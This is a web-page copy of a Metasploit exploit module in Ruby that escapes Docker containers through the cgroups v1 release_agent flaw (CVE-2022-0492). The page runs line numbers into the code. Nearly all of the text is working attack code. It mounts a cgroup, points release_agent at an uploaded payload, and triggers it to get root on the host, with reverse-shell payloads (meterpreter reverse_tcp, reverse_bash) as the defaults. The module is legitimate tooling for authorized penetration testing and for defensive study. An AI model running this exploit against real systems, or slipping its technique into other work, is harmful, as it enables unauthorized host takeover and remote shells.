Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/docker_cgroup_escape.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html78include Msf::Post::Linux::Priv9include Msf::Post::Linux::Kernel10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Docker cgroups Container Escape',21'Description' => %q{22This exploit module takes advantage of a Docker image which has either the privileged flag, or SYS_ADMIN Linux capability.23If the host kernel is vulnerable, its possible to escape the Docker image and achieve root on the host operating system.2425A vulnerability was found in the Linux kernel's cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function.26This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges27and bypass the namespace isolation unexpectedly.2829More simply put, cgroups v1 has a feature called release_agent that runs a program when a process in the cgroup terminates.30If notify_on_release is enabled, the kernel runs the release_agent binary as root. By editing the release_agent file,31an attacker can execute their own binary with elevated privileges, taking control of the system. However, the release_agent32file is owned by root, so only a user with root access can modify it.33},34'License' => MSF_LICENSE,35'Author' => [36'h00die', # msf module37'Yiqi Sun', # discovery38'Kevin Wang', # discovery39'T1erno', # POC40],41'Platform' => [ 'unix', 'linux' ],42'SessionTypes' => ['meterpreter'],43'DefaultOptions' => {44'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'45},46'Privileged' => true,47'References' => [48[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af'],49[ 'URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],50[ 'URL', 'https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC'],51[ 'URL', 'https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492'],52[ 'URL', 'https://github.com/SofianeHamlaoui/CVE-2022-0492-Checker/blob/main/escape-check.sh'],53[ 'URL', 'https://pwning.systems/posts/escaping-containers-for-fun/'],54[ 'URL', 'https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html'],55[ 'URL', 'https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation'],56[ 'URL', 'https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/'],57[ 'CVE', '2022-0492']58],59'DisclosureDate' => '2022-02-04',60'Targets' => [61['BINARY', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } }],62['CMD', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]63],64'DefaultTarget' => 0,65'Notes' => {66'Stability' => [CRASH_SAFE],67'Reliability' => [REPEATABLE_SESSION],68'SideEffects' => [ARTIFACTS_ON_DISK]69}70)71)72register_advanced_options [73OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])74]75end7677def base_dir78datastore['WritableDir']79end8081def check82print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu')83release = kernel_release84# https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-049285release_short = Rex::Version.new(release.split('-').first)86release_long = Rex::Version.new(release.split('-')[0..1].join('-'))87if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.1088release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS89release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS90release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM91return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable")92end9394CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS")95end9697def exploit98# Check if we're already root as its required99fail_with(Failure::NoAccess, 'The exploit needs a session as root (uid 0) inside the container') unless is_root?100101# create mount102folder = rand_text_alphanumeric(5..10)103@mount_dir = "#{base_dir}/#{folder}"104register_dir_for_cleanup(@mount_dir)105vprint_status("Creating folder for mount: #{@mount_dir}")106mkdir(@mount_dir)107print_status('Mounting cgroup')108cmd_exec("mount -t cgroup -o rdma cgroup '#{@mount_dir}'")109group = rand_text_alphanumeric(5..10)110group_full_dir = "#{@mount_dir}/#{group}"111vprint_status("Creating folder in cgroup for exploitation: #{group_full_dir}")112mkdir(group_full_dir)113114print_status("Enabling notify on release for group #{group}")115write_file("#{group_full_dir}/notify_on_release", '1')116117print_status('Determining the host OS path for image')118# for this, we need the line that starts with overlay, and contains an 'upperdir' parameter, which we want the value of119mtab_file = read_file('/etc/mtab')120host_path = nil121mtab_file.each_line do |line|122next unless line.start_with?('overlay') && line.include?('perdir') # upperdir123124line.split(',').each do |parameter|125next unless parameter.start_with?('upperdir')126127parameter = parameter.split('=')128fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') unless parameter.length > 1129host_path = parameter[1]130end131break132end133134fail_with(Failure::UnexpectedReply, 'Unable to determine docker image path on host OS') if host_path.nil? || host_path.empty? || host_path.start_with?('sed') # start_with catches repeat of command135136vprint_status("Host OS path for image: #{host_path}")137138payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"139print_status("Setting release_agent path to: #{host_path}#{payload_path}")140write_file "#{@mount_dir}/release_agent", "#{host_path}#{payload_path}"141142print_status("Uploading payload to #{payload_path}")143if target.name == 'CMD'144# for whatever reason it's unhappy and wont run without the /bin/sh header145upload_and_chmodx payload_path, "#!/bin/sh\n#{payload.encoded}\n"146elsif target.name == 'BINARY'147upload_and_chmodx payload_path, generate_payload_exe148end149register_files_for_cleanup(payload_path)150151print_status("Triggering payload with command: sh -c \"echo \$\$ > #{group_full_dir}/cgroup.procs\"")152cmd_exec(%(sh -c "echo \$\$ > '#{group_full_dir}/cgroup.procs'"))153end154155def cleanup156if @mount_dir157vprint_status("Cleanup: Unmounting #{@mount_dir}")158cmd_exec("umount '#{@mount_dir}'")159end160super161end162end163164165